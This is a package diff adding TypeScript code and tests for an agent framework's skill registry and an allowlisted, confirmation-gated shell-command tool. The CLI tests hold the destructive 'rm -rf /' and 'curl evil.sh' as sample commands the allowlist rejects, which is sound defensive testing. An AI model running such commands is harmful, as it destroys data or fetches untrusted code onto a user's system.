@kaleidorg/mind 0.0.1 → 0.2.0

package/src/skills/reference-source.ts

@@ -0,0 +1,60 @@
+/**
+ * Skill reference tool source — the read-side of Agent-Skills progressive
+ * disclosure.
+ *
+ * Exposes one tool, `read_skill_reference({ file, skill? })`, that returns the
+ * contents of a `references/*.md` file bundled with a skill. The brain enters a
+ * skill (its SKILL.md playbook lists the reference files), then pulls in only
+ * the reference it needs for the current step — instead of every doc being in
+ * context at once.
+ *
+ * Pure in-process: it reads from the SkillRegistry's already-loaded reference
+ * strings, so it works on every host (React Native included) once the skills
+ * are loaded. No filesystem, no network.
+ */
+
+import type { ToolDef } from '../types.js';
+import type { ToolSource } from '../tools/source.js';
+import { SkillRegistry, READ_REFERENCE_TOOL } from './registry.js';
+
+export function createSkillReferenceToolSource(registry: SkillRegistry): ToolSource {
+  const tool: ToolDef = {
+    name: READ_REFERENCE_TOOL,
+    description:
+      'Read a reference document bundled with the active skill (its SKILL.md ' +
+      'lists the available files). Use this to pull in the detailed instructions ' +
+      'for a step — e.g. the MCP, CLI, or API guide — before acting.',
+    parameters: {
+      type: 'object',
+      properties: {
+        file: { type: 'string', description: 'Reference filename, e.g. "mcp.md"' },
+        skill: { type: 'string', description: 'Optional skill name to scope the lookup' },
+      },
+      required: ['file'],
+    },
+  };
+
+  async function execute(_name: string, args: Record<string, unknown>): Promise<unknown> {
+    const file = String(args.file ?? '').trim();
+    if (!file) throw new Error('read_skill_reference: file is required');
+    const skill = args.skill ? String(args.skill) : undefined;
+    const ref = registry.reference(file, skill);
+    if (!ref) {
+      const available = registry
+        .references()
+        .map((r) => `${r.skill}/${r.name}`)
+        .join(', ');
+      throw new Error(
+        `read_skill_reference: "${file}" not found. Available: ${available || '(none)'}`,
+      );
+    }
+    return ref.content;
+  }
+
+  return {
+    id: 'skill-references',
+    listTools: () => [tool],
+    has: (name) => name === READ_REFERENCE_TOOL,
+    execute,
+  };
+}

package/src/skills/registry.ts

@@ -0,0 +1,183 @@
+/**
+ * SkillRegistry — holds skills, parses SKILL.md files, selects per query, and
+ * composes the system prompt for the selected skill.
+ *
+ * Selection is pluggable. The default is a fast keyword heuristic (no model
+ * call); a host can inject a model-driven or embedding selector instead.
+ */
+
+import type { Skill, SkillReference, SkillSelector } from './types.js';
+
+/** Tool name the reference source exposes for progressive disclosure. */
+export const READ_REFERENCE_TOOL = 'read_skill_reference';
+
+/**
+ * Parse a SKILL.md file: a YAML-ish frontmatter block (name/description/tools/
+ * triggers) followed by the instruction body.
+ *
+ *   ---
+ *   name: portfolio-manager
+ *   description: Rebalance BTC/USDT/XAUT to target allocations.
+ *   tools: get_balance, kaleidoswap_get_quote, kaleidoswap_place_order
+ *   triggers: rebalance, allocation, portfolio
+ *   ---
+ *   <instructions…>
+ */
+/** Strip wrapping single/double quotes from a frontmatter value. */
+function unquote(v: string): string {
+  const t = v.trim();
+  if ((t.startsWith('"') && t.endsWith('"')) || (t.startsWith("'") && t.endsWith("'"))) {
+    return t.slice(1, -1);
+  }
+  return t;
+}
+
+export function parseSkill(markdown: string, references?: SkillReference[]): Skill {
+  const fm = markdown.match(/^---\s*\n([\s\S]*?)\n---\s*\n?([\s\S]*)$/);
+  const meta: Record<string, string> = {};
+  let body = markdown;
+  if (fm) {
+    body = fm[2] ?? '';
+    for (const line of (fm[1] ?? '').split('\n')) {
+      // Flat `key: value` lines (incl. indented keys under a nested `metadata:`
+      // block, which fold into the same map — we don't need YAML nesting here).
+      const m = line.match(/^\s*([A-Za-z_][\w-]*)\s*:\s*(.+?)\s*$/);
+      if (m && m[1]) meta[m[1].toLowerCase()] = unquote(m[2] ?? '');
+    }
+  }
+  const list = (v?: string) =>
+    v
+      ? v.split(',').map((s) => s.trim()).filter(Boolean)
+      : undefined;
+
+  if (!meta.name) throw new Error('SKILL.md missing `name` in frontmatter');
+
+  // Everything that isn't a first-class field becomes metadata.
+  const KNOWN = new Set(['name', 'description', 'tools', 'triggers']);
+  const metadata: Record<string, string> = {};
+  for (const [k, v] of Object.entries(meta)) if (!KNOWN.has(k)) metadata[k] = v;
+
+  return {
+    name: meta.name,
+    description: meta.description ?? '',
+    instructions: body.trim(),
+    tools: list(meta.tools),
+    triggers: list(meta.triggers),
+    metadata: Object.keys(metadata).length ? metadata : undefined,
+    references: references && references.length ? references : undefined,
+  };
+}
+
+// Common words that shouldn't count toward a skill match.
+const STOPWORDS = new Set([
+  'the', 'and', 'for', 'you', 'your', 'what', 'this', 'that', 'with', 'from',
+  'have', 'has', 'are', 'was', 'can', 'will', 'please', 'today', 'now', 'get',
+  'show', 'tell', 'how', 'much', 'many', 'about', 'into', 'over',
+]);
+
+/** Default selector: score by meaningful keyword overlap; triggers weigh most. */
+export const keywordSelector: SkillSelector = {
+  select(query, skills) {
+    const q = query.toLowerCase();
+    const words = new Set(
+      q.split(/\W+/).filter((w) => w.length > 2 && !STOPWORDS.has(w)),
+    );
+    let best: Skill | null = null;
+    let bestScore = 0;
+    for (const skill of skills) {
+      const haystack = `${skill.description} ${(skill.triggers ?? []).join(' ')}`.toLowerCase();
+      const hayWords = haystack.split(/\W+/).filter((w) => w.length > 2 && !STOPWORDS.has(w));
+      let score = 0;
+      for (const w of hayWords) if (words.has(w)) score += 1;
+      // Strong boost for an explicit trigger appearing in the query.
+      for (const t of skill.triggers ?? []) if (q.includes(t.toLowerCase())) score += 3;
+      if (score > bestScore) {
+        bestScore = score;
+        best = skill;
+      }
+    }
+    // Require a real signal, not a single incidental word overlap.
+    return bestScore >= 2 ? best : null;
+  },
+};
+
+export class SkillRegistry {
+  private readonly skills: Skill[] = [];
+  private readonly selector: SkillSelector;
+
+  constructor(skills: Skill[] = [], selector: SkillSelector = keywordSelector) {
+    this.skills = [...skills];
+    this.selector = selector;
+  }
+
+  add(skill: Skill): this {
+    this.skills.push(skill);
+    return this;
+  }
+
+  /** Add a skill from raw SKILL.md text (+ optional reference files). */
+  addMarkdown(markdown: string, references?: SkillReference[]): this {
+    return this.add(parseSkill(markdown, references));
+  }
+
+  /** All reference files across skills, tagged with their owning skill. */
+  references(): Array<SkillReference & { skill: string }> {
+    return this.skills.flatMap((s) =>
+      (s.references ?? []).map((r) => ({ ...r, skill: s.name })),
+    );
+  }
+
+  /** Look up a reference file by name (optionally scoped to one skill). */
+  reference(file: string, skill?: string): SkillReference | undefined {
+    const base = file.replace(/^references\//, '');
+    for (const s of this.skills) {
+      if (skill && s.name !== skill) continue;
+      const hit = (s.references ?? []).find((r) => r.name === base || r.name === file);
+      if (hit) return hit;
+    }
+    return undefined;
+  }
+
+  list(): Skill[] {
+    return [...this.skills];
+  }
+
+  get(name: string): Skill | undefined {
+    return this.skills.find((s) => s.name === name);
+  }
+
+  /** Pick the most relevant skill for a query (null = none). */
+  select(query: string): Skill | null {
+    return this.selector.select(query, this.skills);
+  }
+
+  /**
+   * Compose the effective system prompt for a skill: the base prompt + the
+   * skill's playbook. The returned `allowedTools` should be passed to
+   * `engine.runAgentic(..., { allowedTools })` for progressive tool disclosure.
+   */
+  compose(base: string, skill: Skill | null): { system: string; allowedTools?: string[] } {
+    if (!skill) return { system: base };
+
+    let system = `${base}\n\n## Active skill: ${skill.name}\n${skill.instructions}`.trim();
+
+    // Progressive disclosure: tell the model the reference files exist and how
+    // to pull one in, rather than dumping them all into context.
+    const refs = skill.references ?? [];
+    if (refs.length) {
+      const names = refs.map((r) => r.name).join(', ');
+      system +=
+        `\n\n## Reference files\nThis skill has detailed reference docs: ${names}. ` +
+        `When you need the detail for a step, call \`${READ_REFERENCE_TOOL}\` with the ` +
+        `filename (e.g. {"file":"${refs[0]!.name}"}) to read it before acting.`;
+    }
+
+    // When the skill scopes tools, keep the reference reader reachable too.
+    const allowedTools = skill.tools
+      ? refs.length
+        ? [...skill.tools, READ_REFERENCE_TOOL]
+        : skill.tools
+      : undefined;
+    return { system, allowedTools };
+  }
+}

package/src/skills/skills.test.ts

@@ -0,0 +1,191 @@
+/**
+ * Skills tests — parse SKILL.md, select per query, compose system + tool
+ * filter, and verify the engine honours allowedTools (progressive disclosure).
+ */
+
+import { describe, it, expect, vi } from 'vitest';
+import { SkillRegistry, parseSkill, READ_REFERENCE_TOOL } from './registry.js';
+import { createSkillReferenceToolSource } from './reference-source.js';
+import { skillsFromBundle } from './bundle.js';
+import { Engine } from '../engine.js';
+import { ToolRegistry } from '../tools/registry.js';
+import { InProcessToolSource } from '../tools/in-process.js';
+import type { LLMProvider } from '../providers/types.js';
+import type { ToolCall } from '../types.js';
+
+// A real-spec SKILL.md: quoted multi-line description, nested metadata, no tools.
+const BITREFILL_SKILL = `---
+name: bitrefill
+description: "Buy or browse Bitrefill — gift cards, mobile top-ups, and eSIMs. Triggers when the user mentions Bitrefill, gift cards, mobile top-up, or eSIM."
+compatibility: "Detects host capabilities at runtime."
+metadata:
+  author: bitrefill
+  version: "2.1.5"
+---
+
+# Bitrefill
+
+Routes by capability. See the references for each path.`;
+
+const PORTFOLIO_SKILL = `---
+name: portfolio-manager
+description: Rebalance the BTC, USDT and XAUT portfolio to target allocations.
+tools: get_balance, place_order
+triggers: rebalance, allocation, portfolio
+---
+You manage a Bitcoin L2 portfolio. Check balances first, then place orders to
+hit the target allocation. Never exceed the user's risk band.`;
+
+describe('parseSkill', () => {
+  it('parses frontmatter + body', () => {
+    const s = parseSkill(PORTFOLIO_SKILL);
+    expect(s.name).toBe('portfolio-manager');
+    expect(s.description).toMatch(/Rebalance/);
+    expect(s.tools).toEqual(['get_balance', 'place_order']);
+    expect(s.triggers).toEqual(['rebalance', 'allocation', 'portfolio']);
+    expect(s.instructions).toMatch(/manage a Bitcoin L2 portfolio/);
+  });
+});
+
+describe('SkillRegistry selection', () => {
+  const reg = new SkillRegistry();
+  reg.addMarkdown(PORTFOLIO_SKILL);
+  reg.addMarkdown(`---
+name: channel-manager
+description: Open and manage Lightning channels.
+triggers: channel, liquidity, lsp
+---
+Manage Lightning channels via LSPS1.`);
+
+  it('routes a query to the right skill by trigger/description', () => {
+    expect(reg.select('please rebalance my portfolio')?.name).toBe('portfolio-manager');
+    expect(reg.select('open a new lightning channel')?.name).toBe('channel-manager');
+  });
+
+  it('returns null when nothing matches', () => {
+    expect(reg.select('what is the weather today')).toBeNull();
+  });
+
+  it('composes the system prompt + exposes the skill tool list', () => {
+    const skill = reg.select('rebalance my allocation')!;
+    const { system, allowedTools } = reg.compose('You are KaleidoMind.', skill);
+    expect(system).toMatch(/You are KaleidoMind\./);
+    expect(system).toMatch(/Active skill: portfolio-manager/);
+    expect(allowedTools).toEqual(['get_balance', 'place_order']);
+  });
+});
+
+describe('parseSkill — real Agent-Skills spec', () => {
+  it('unquotes the description, captures metadata, tolerates no tools', () => {
+    const s = parseSkill(BITREFILL_SKILL);
+    expect(s.name).toBe('bitrefill');
+    expect(s.description.startsWith('"')).toBe(false);
+    expect(s.description).toMatch(/gift cards/);
+    expect(s.tools).toBeUndefined();
+    // nested metadata keys fold into the flat metadata map
+    expect(s.metadata?.author).toBe('bitrefill');
+    expect(s.metadata?.version).toBe('2.1.5');
+    expect(s.metadata?.compatibility).toMatch(/host capabilities/);
+  });
+
+  it('selects on the long description embedding trigger phrases', () => {
+    const reg = new SkillRegistry();
+    reg.addMarkdown(BITREFILL_SKILL);
+    expect(reg.select('can you buy me an amazon gift card')?.name).toBe('bitrefill');
+    expect(reg.select('I want to buy an eSIM data plan')?.name).toBe('bitrefill');
+  });
+});
+
+describe('progressive disclosure — references', () => {
+  const refs = [
+    { name: 'mcp.md', content: '# MCP\nUse the remote MCP at api.bitrefill.com/mcp.' },
+    { name: 'cli.md', content: '# CLI\nGuest checkout via @bitrefill/cli.' },
+  ];
+
+  it('compose() advertises the reference files + keeps the reader tool reachable', () => {
+    const reg = new SkillRegistry();
+    reg.addMarkdown(
+      `---\nname: bitrefill\ndescription: shop with bitcoin\ntools: buy_product\ntriggers: bitrefill\n---\nbody`,
+      refs,
+    );
+    const skill = reg.get('bitrefill')!;
+    const { system, allowedTools } = reg.compose('base', skill);
+    expect(system).toMatch(/Reference files/);
+    expect(system).toMatch(/mcp\.md, cli\.md/);
+    expect(system).toMatch(READ_REFERENCE_TOOL);
+    // scoped tools, plus the reference reader so refs stay readable
+    expect(allowedTools).toEqual(['buy_product', READ_REFERENCE_TOOL]);
+  });
+
+  it('the reference tool source returns file contents and lists on miss', async () => {
+    const reg = new SkillRegistry();
+    reg.addMarkdown(`---\nname: bitrefill\ndescription: d\n---\nbody`, refs);
+    const src = createSkillReferenceToolSource(reg);
+    expect(src.has(READ_REFERENCE_TOOL)).toBe(true);
+
+    const out = await src.execute(READ_REFERENCE_TOOL, { file: 'mcp.md' });
+    expect(out).toMatch(/remote MCP/);
+
+    // scoping by skill + path-prefixed filename both resolve
+    const out2 = await src.execute(READ_REFERENCE_TOOL, { file: 'references/cli.md', skill: 'bitrefill' });
+    expect(out2).toMatch(/Guest checkout/);
+
+    await expect(src.execute(READ_REFERENCE_TOOL, { file: 'nope.md' })).rejects.toThrow(
+      /not found.*bitrefill\/mcp\.md/,
+    );
+  });
+});
+
+describe('skillsFromBundle — RN-safe loading', () => {
+  it('rehydrates skills (incl. references) from a v1 bundle', () => {
+    const skills = skillsFromBundle({
+      version: 1,
+      skills: [
+        {
+          dir: 'bitrefill',
+          markdown: '---\nname: bitrefill\ndescription: shop with bitcoin\ntriggers: bitrefill, gift card\n---\nbody',
+          references: [{ name: 'mcp.md', content: '# MCP' }],
+        },
+      ],
+    });
+    expect(skills).toHaveLength(1);
+    expect(skills[0].name).toBe('bitrefill');
+    expect(skills[0].references?.[0]?.name).toBe('mcp.md');
+    expect(skills[0].dir).toBe('bitrefill');
+    // and it's selectable through a registry built from the bundle
+    expect(new SkillRegistry(skills).select('buy a gift card')?.name).toBe('bitrefill');
+  });
+
+  it('rejects a malformed bundle', () => {
+    expect(() => skillsFromBundle({ version: 2 as 1, skills: [] })).toThrow(/valid v1/);
+  });
+});
+
+describe('engine honours allowedTools (progressive disclosure)', () => {
+  it('only exposes the skill’s tools to the model', async () => {
+    const seenToolNames: string[][] = [];
+    const provider: LLMProvider = {
+      name: 'spy',
+      async runTurn(input) {
+        seenToolNames.push(input.tools.map((t) => t.name));
+        return { text: 'done', rawContent: 'done', toolCalls: [] as ToolCall[] };
+      },
+    };
+    const tools = new ToolRegistry([
+      new InProcessToolSource('wallet', [
+        { name: 'get_balance', description: '', parameters: {}, handler: async () => ({}) },
+        { name: 'place_order', description: '', parameters: {}, handler: async () => ({}) },
+        { name: 'open_channel', description: '', parameters: {}, handler: async () => ({}) },
+        { name: 'delete_everything', description: '', parameters: {}, handler: async () => ({}) },
+      ]),
+    ]);
+    const engine = new Engine({ provider, tools });
+
+    await engine.runAgentic([{ role: 'user', content: 'rebalance' }], {
+      allowedTools: ['get_balance', 'place_order'],
+    });
+
+    // The model only saw the two allowed tools — not open_channel / delete_everything.
+    expect(seenToolNames[0].sort()).toEqual(['get_balance', 'place_order']);
+  });
+});

package/src/skills/types.ts

@@ -0,0 +1,55 @@
+/**
+ * Skills — Claude-style Agent Skills the brain can "enter".
+ *
+ * A skill is the top layer of tool use: a folder with a `SKILL.md` (YAML
+ * frontmatter + a markdown playbook) and optional `references/*.md` files that
+ * are loaded on demand. Entering a skill injects its playbook into the system
+ * prompt and (optionally) scopes the agent to a subset of tools. The tools are
+ * still invoked via function calling and may be backed by in-process handlers
+ * or MCP servers — skills don't replace those, they *direct* them.
+ *
+ * This is progressive disclosure, the core idea behind Anthropic's Agent Skills:
+ * a small local model never sees every tool or instruction at once — only the
+ * selected skill's playbook, and it can pull a reference file in when it needs
+ * the detail. The format is compatible with skills published for Claude (e.g.
+ * `bitrefill/agents`), so the same SKILL.md runs the QVAC brain unchanged.
+ */
+
+/** A reference file (references/*.md) the agent can read on demand. */
+export interface SkillReference {
+  /** Filename, e.g. "mcp.md". */
+  name: string;
+  /** Markdown contents. */
+  content: string;
+}
+
+export interface Skill {
+  /** Stable id, e.g. "bitrefill" / "portfolio-manager". */
+  name: string;
+  /**
+   * "When to use this" — the spec's selection signal. May be long and embed the
+   * trigger phrases ("…Triggers when the user mentions gift cards, eSIM…").
+   */
+  description: string;
+  /** The playbook: markdown instructions injected into the system prompt. */
+  instructions: string;
+  /**
+   * Tool names this skill is allowed to use. When set, the engine exposes only
+   * these tools while the skill is active (progressive disclosure). Omit to
+   * allow all registered tools (the default for capability-routing skills).
+   */
+  tools?: string[];
+  /** Optional trigger keywords to boost selection (in addition to description). */
+  triggers?: string[];
+  /** Remaining frontmatter (compatibility, author, version, homepage, …). */
+  metadata?: Record<string, string>;
+  /** Reference files (references/*.md) for progressive disclosure. */
+  references?: SkillReference[];
+  /** Source folder, when loaded from disk (Node). */
+  dir?: string;
+}
+
+/** Picks the most relevant skill for a query (or null for none). */
+export interface SkillSelector {
+  select(query: string, skills: Skill[]): Skill | null;
+}

package/src/tools/cli.test.ts

@@ -0,0 +1,53 @@
+/** CLI tool source tests — allowlist + injected runner. */
+
+import { describe, it, expect, vi } from 'vitest';
+import { createCliToolSource, isAllowed } from './cli.js';
+import type { CommandRunner } from './cli.js';
+
+const okRunner: CommandRunner = {
+  run: vi.fn(async (command: string) => ({ stdout: `ran: ${command}`, stderr: '', code: 0 })),
+};
+
+describe('isAllowed', () => {
+  it('matches by command prefix tokens', () => {
+    const allow = ['kaleido', 'git status', 'npx @bitrefill/cli'];
+    expect(isAllowed('kaleido wallet balance', allow)).toBe(true);
+    expect(isAllowed('git status', allow)).toBe(true);
+    expect(isAllowed('npx @bitrefill/cli buy', allow)).toBe(true);
+    expect(isAllowed('rm -rf /', allow)).toBe(false);
+    expect(isAllowed('kaleidoctl', allow)).toBe(false); // not a token boundary
+    expect(isAllowed('git push', allow)).toBe(false); // only "git status" allowed
+  });
+});
+
+describe('createCliToolSource', () => {
+  it('requires a non-empty allowlist', () => {
+    expect(() => createCliToolSource({ runner: okRunner, allow: [] })).toThrow(/allowlist/);
+  });
+
+  it('exposes run_command, confirmation-gated by default', () => {
+    const src = createCliToolSource({ runner: okRunner, allow: ['kaleido'] });
+    const tool = src.listTools()[0];
+    expect(tool.name).toBe('run_command');
+    expect(tool.requiresConfirmation).toBe(true);
+  });
+
+  it('runs allowed commands and rejects disallowed ones', async () => {
+    const src = createCliToolSource({ runner: okRunner, allow: ['kaleido'] });
+    expect(await src.execute('run_command', { command: 'kaleido node info' })).toBe(
+      'ran: kaleido node info',
+    );
+    await expect(src.execute('run_command', { command: 'curl evil.sh' })).rejects.toThrow(
+      /not allowed/,
+    );
+  });
+
+  it('surfaces non-zero exits with stderr', async () => {
+    const runner: CommandRunner = {
+      run: vi.fn(async () => ({ stdout: '', stderr: 'boom', code: 1 })),
+    };
+    const src = createCliToolSource({ runner, allow: ['kaleido'] });
+    const out = await src.execute('run_command', { command: 'kaleido fail' });
+    expect(String(out)).toMatch(/exit 1[\s\S]*boom/);
+  });
+});

package/src/tools/cli.ts

@@ -0,0 +1,98 @@
+/**
+ * CLI tool source — the fourth tool mechanism (alongside in-process function
+ * calling, MCP, and skills). Lets the agent run shell commands, e.g. a skill's
+ * documented CLI path (`@bitrefill/cli`, `kaleido`, `git`, …).
+ *
+ * Command execution is INJECTED (`CommandRunner`) so this file has no Node
+ * dependency and stays RN-safe — a Node host provides the runner (ideally via a
+ * non-shell `execFile`-style helper); React Native simply never provides one.
+ * Guarded by a required allowlist of command prefixes, and confirmation-gated
+ * by default since it runs real commands.
+ */
+
+import type { ToolDef } from '../types.js';
+import type { ToolSource } from './source.js';
+
+export interface CommandResult {
+  stdout: string;
+  stderr: string;
+  code: number;
+}
+
+/** Injected shell runner. The Node host supplies a safe implementation. */
+export interface CommandRunner {
+  run(command: string, opts?: { cwd?: string; timeoutMs?: number }): Promise<CommandResult>;
+}
+
+export interface CliToolOptions {
+  runner: CommandRunner;
+  /**
+   * Allowed command prefixes (REQUIRED — no empty allowlist). A command runs
+   * only if it starts with one of these tokens, e.g. ['kaleido', 'git status',
+   * 'npx @bitrefill/cli'].
+   */
+  allow: string[];
+  cwd?: string;
+  timeoutMs?: number;
+  /** Confirmation gate (default true — it executes real commands). */
+  requiresConfirmation?: boolean;
+  /** Tool description override (e.g. name the specific CLI). */
+  description?: string;
+}
+
+const RUN = 'run_command';
+
+/** True if `command` is permitted by the allowlist (prefix match on tokens). */
+export function isAllowed(command: string, allow: string[]): boolean {
+  const cmd = command.trim();
+  return allow.some((prefix) => {
+    const p = prefix.trim();
+    return p.length > 0 && (cmd === p || cmd.startsWith(p + ' '));
+  });
+}
+
+export function createCliToolSource(opts: CliToolOptions): ToolSource {
+  if (!opts.allow || opts.allow.length === 0) {
+    throw new Error('createCliToolSource: a non-empty `allow` allowlist is required');
+  }
+
+  const tool: ToolDef = {
+    name: RUN,
+    description:
+      opts.description ??
+      `Run an allowed shell command and return its output. Allowed commands start ` +
+        `with: ${opts.allow.join(', ')}. Use for documented CLI tools.`,
+    parameters: {
+      type: 'object',
+      properties: {
+        command: { type: 'string', description: 'The full command line to run' },
+      },
+      required: ['command'],
+    },
+    requiresConfirmation: opts.requiresConfirmation ?? true,
+  };
+
+  async function execute(_name: string, args: Record<string, unknown>): Promise<unknown> {
+    const command = String(args.command ?? '').trim();
+    if (!command) throw new Error('run_command: command is required');
+    if (!isAllowed(command, opts.allow)) {
+      throw new Error(
+        `run_command: "${command.split(' ')[0]}" is not allowed. Allowed: ${opts.allow.join(', ')}`,
+      );
+    }
+    const res = await opts.runner.run(command, { cwd: opts.cwd, timeoutMs: opts.timeoutMs });
+    const out = (res.stdout || '').trim();
+    const err = (res.stderr || '').trim();
+    if (res.code !== 0) {
+      return `exit ${res.code}${err ? `\n${err}` : ''}${out ? `\n${out}` : ''}`.trim();
+    }
+    return out || '(no output)';
+  }
+
+  return {
+    id: 'cli',
+    listTools: () => [tool],
+    has: (name) => name === RUN,
+    execute,
+  };
+}